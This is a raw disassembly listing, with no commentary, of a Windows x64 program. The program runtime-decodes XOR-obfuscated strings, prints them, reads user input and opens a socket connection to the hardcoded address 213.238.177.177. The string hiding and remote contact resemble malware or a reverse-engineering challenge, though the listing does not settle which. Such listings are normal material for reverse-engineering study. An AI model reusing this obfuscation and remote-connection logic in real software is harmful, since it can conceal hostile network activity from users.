lea rcx, [rbp + 0x988]
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 8
mov rax, qword [rbp + 0x148]
jb 0x140007eeb
mov rsi, qword [rbp + 0x138]
lea rbx, [rsi + rax*2]
jmp 0x140007ef6
lea rbx, [rcx + rax*2]
lea rsi, [rbp + 0x988]
mov qword [rbp + 0x9a8], rdi
mov rcx, rdi
mov qword [rbp + 0x9b8], rcx
mov r8d, recv
mov qword [rbp + 0x9c0], r8
mov byte [rbp + 0x9a8], cl
mov rdx, rbx
sub rdx, rsi
sar rdx, 1
cmp rdx, 0x10
jb 0x140007f46
lea rcx, [rbp + 0x9a8]
call fcn.1400125b0
mov rcx, rdi
mov qword [rbp + 0x9b8], rcx
mov r8, qword [rbp + 0x9c0]
lea rax, [rbp + 0x9a8]
mov qword [rbp + 0xa68], rax
cmp rsi, rbx
je 0x140007fb7
nop dword [rax]
movzx r9d, byte [rsi]
cmp rcx, r8
jae 0x140007f92
lea rax, [rcx + 1]
mov qword [rbp + 0x9b8], rax
lea rax, [rbp + 0x9a8]
cmp r8, 0x10
cmovae rax, qword [rbp + 0x9a8]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140007f9e
lea rcx, [rbp + 0x9a8]
call fcn.140011220
add rsi, 2
cmp rsi, rbx
je 0x140007fb7
mov r8, qword [rbp + 0x9c0]
mov rcx, qword [rbp + 0x9b8]
jmp 0x140007f60
mov ecx, 0x202
lea rdx, [rbp + 0xc20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140008385
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
mov ebx, dword [reloc.WS2_32.dll_accept]
mov r15d, 5
lea r12d, [r15 + 0x1a]
cmp byte [rax + 0x142], 0
je 0x140008196
mov r8d, edi
cmp ebx, 2
jl 0x140008155
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x140008040
cmp r8d, 0x143
jge 0x140008196
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x140008160
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp + 0x90]
call fcn.14000fa80
mov r9, rax
cmp byte [rax + 0x23], 0
je 0x14000834f
cmp ebx, 2
jl 0x14000831a
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x140008210
cmp edi, 0x24
jge 0x14000834f
movsxd r8, edi
add r8, r9
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x24
jl 0x140008320
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r8d, r8d
lea edx, [r8 + 1]
mov ebx, 2
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x140008760
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
mov ebx, dword [reloc.WS2_32.dll_accept]
lea r15d, [r13 + 6]
lea r12d, [r13 + 0x20]
cmp byte [rax + 0x142], 0
je 0x140008576
mov r8d, edi
cmp ebx, 2
jl 0x140008535
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x140008420
cmp r8d, 0x143
jge 0x140008576
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x140008540
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp - 0x10]
call fcn.14000fab0
mov r9, rax
cmp byte [rax + 0x1e], 0
je 0x14000872f
cmp ebx, 2
jl 0x1400086ed
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x1400085e3
cmp edi, 0x1f
jge 0x14000872f
movsxd r8, edi
add r8, r9
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1f
jl 0x140008700
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov word [rbp + 0xac8], bx
mov ecx, 0x8fb4
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0xaca], ax
lea rcx, str.213.238.177.177
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0xacc], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0xac8]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140008b74
lea rdx, [rbp + 0x190]
call fcn.14000f9d0
mov r10, rax
mov ebx, dword [reloc.WS2_32.dll_accept]
mov r15d, 5
lea r12d, [r15 + 0x1a]
cmp byte [rax + 0x142], 0
je 0x140008976
mov r8d, edi
cmp ebx, 2
jl 0x140008935
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x140008820
cmp r8d, 0x143
jge 0x140008976
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x140008940
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
lea rdx, [rbp + 0x90]
call fcn.14000faf0
mov r9, rax
cmp byte [rax + 0x22], 0
je 0x140008b2f
cmp ebx, 2
jl 0x140008afa
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x1400089f0
cmp edi, 0x23
jge 0x140008b2f
movsxd r8, edi
add r8, r9
mov eax, 0x8fb823ef
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x23
jl 0x140008b00
mov rdx, r9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rbp + 0x430]
lea rdx, [0x14001d250]
mov rax, rbx
nop word [rax + rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rax, 1
jne 0x140008b90
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rdx + 0x40]
mov word [rcx + 0x40], ax
movzx eax, byte [rdx + 0x42]
mov byte [rcx + 0x42], al
mov r8d, edi
mov ebx, dword [reloc.WS2_32.dll_accept]
mov r15d, 5
lea r12d, [r15 + 0x1a]
cmp ebx, 2
jl 0x140008d85
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x430]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x140008c70
cmp r8d, 0x143
jge 0x140008dd6
movsxd rax, r8d
lea r9, [rbp + 0x430]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x140008da0
lea rdx, [rbp + 0x430]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
mov qword [rbp + 0xa70], rdi
mov qword [rbp + 0xa80], rdi
mov qword [rbp + 0xa88], recv
mov byte [rbp + 0xa70], 0
movsd xmm0, qword [str.w__PD]
movsd qword [rbp - 0x30], xmm0
mov eax, dword [0x14001d870]
mov dword [rbp - 0x28], eax
cmp byte [0x14001d873], 0
je 0x140008f93
mov r8d, edi
cmp ebx, 2
jl 0x140008f51
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm2, xmmword [0x14001dc20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
mov eax, dword [0x14001dca0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.w__PD]
pxor xmm2, xmm1
movd dword [rbp - 0x30], xmm2
movdqa xmm3, xmmword [0x14001dc30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001dc40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x2c]
pxor xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140008f60
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0xa70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400118a0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r15, qword [rbp + 0xa80]
sub rax, r15
cmp rax, 9
jb 0x14000f9c3
lea r12, [rbp + 0xa70]
cmp qword [rbp + 0xa88], 0x10
setae byte [rbp + 0x97c]
cmovae r12, qword [rbp + 0xa70]
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], rdi
lea r14, [r15 + 9]
mov ebx, recv
lea rsi, [rbp + 0x30]
cmp r14, rbx
jbe 0x1400090b0
mov rbx, r14
cmp r14, 0x10
cmovb rbx, qword [reloc.WS2_32.dll_recv]
or rbx, 0xf
cmp rbx, rcx
jbe 0x140009044
mov rbx, rcx
jmp 0x140009050
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14000909a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000f9c9
mov rcx, rax
